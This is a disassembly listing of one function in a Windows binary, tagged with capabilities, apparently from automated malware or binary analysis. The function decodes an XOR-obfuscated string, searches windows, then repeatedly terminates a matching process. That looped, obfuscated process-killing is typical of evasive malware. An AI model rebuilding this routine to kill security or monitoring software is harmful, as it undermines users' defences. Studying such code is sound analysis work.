Function at 0x140057870
Capabilities:
Create thread
Encode data using xor
Enumerate gui resources
Terminate process

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x10]
sub rsp, 0x110
movaps xmmword [rsp + 0x100], xmm6
xor edi, edi
movups xmm3, xmmword [str.w_SV_]
movups xmmword [rsp + 0x30], xmm3
movups xmm0, xmmword [0x140103050]
movups xmmword [rsp + 0x40], xmm0
movzx eax, word [0x140103060]
mov word [rsp + 0x50], ax
mov ecx, edi
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140057a74
movdqa xmm4, xmmword [0x140104d70]
movdqa xmm5, xmmword [0x140104780]
movdqa xmm6, xmmword [0x1401047d0]
movdqa xmm2, xmmword [0x140104700]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x140104720]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm0, qword [rsp + 0x38]
xorps xmm2, xmm0
movq qword [rsp + 0x38], xmm2
movdqa xmm3, xmmword [0x140104730]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm0, qword [rsp + 0x40]
xorps xmm2, xmm0
movq qword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x140104740]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm0, qword [rsp + 0x48]
xorps xmm2, xmm0
movq qword [rsp + 0x48], xmm2
mov ecx, reloc.WS2_32.dll_recv
mov eax, ecx
lea r8, [rsp + 0x30]
lea r8, [r8 + rax*2]
nop
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x39
movzx eax, cx
sub ax, dx
add ax, 0x34
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0x11
jl 0x140057a80
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], rdi
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], di
jne 0x140057ad0
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.14003b2d0
nop
lea rax, [rsp + 0x38]
mov qword [rbp + 0x38], rax
lea rcx, [rbp - 0x50]
call fcn.1400564a0
nop
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.140076e60
nop
mov dword [rbp + 0x30], edi
mov qword [rsp + 0x30], rdi
mov rcx, qword [rbp - 0x10]
mov qword [rsp + 0x50], rcx
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rcx, [rsp + 0x38]
call fcn.1400791d0
nop
mov rbx, qword [rbp - 0x30]
test rbx, rbx
je 0x140057b3a
lock inc dword [rbx + 0x2c]
lea rcx, [rsp + 0x30]
call fcn.140074bc0
mov qword [rsp + 0x30], rbx
lea rax, [rbp + 0x30]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x30]
lea rcx, [0x1400574c0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ebx, eax
lea rcx, [rsp + 0x30]
call fcn.140071de0
test ebx, ebx
je 0x140057ba0
lea rax, [rbp - 0x70]
mov qword [rsp + 0x70], rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x70]
lea rcx, [0x140057740]
call qword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
jne 0x140057caa
mov r8d, dword [rbp + 0x30]
test r8d, r8d
je 0x140057caa
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140057caa
mov edx, dword [rbp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.1400575e0
nop
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 1
call fcn.14008f478
mov qword [rbp + 0x40], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x14007c3c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x140057d3d
cmp dword [rsp + 0x68], 0
je 0x140057d31
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140057d31
xorps xmm0, xmm0
movaps xmmword [rbp - 0x80], xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x140057caa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057ca5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140057d2a
call fcn.14008f7c4
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp - 0x30]
call fcn.140074bc0
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x140057ce5
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140057ce5
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x140057af2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057d20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140057d4d
call fcn.14008f7c4
jmp 0x140057af2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x68], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3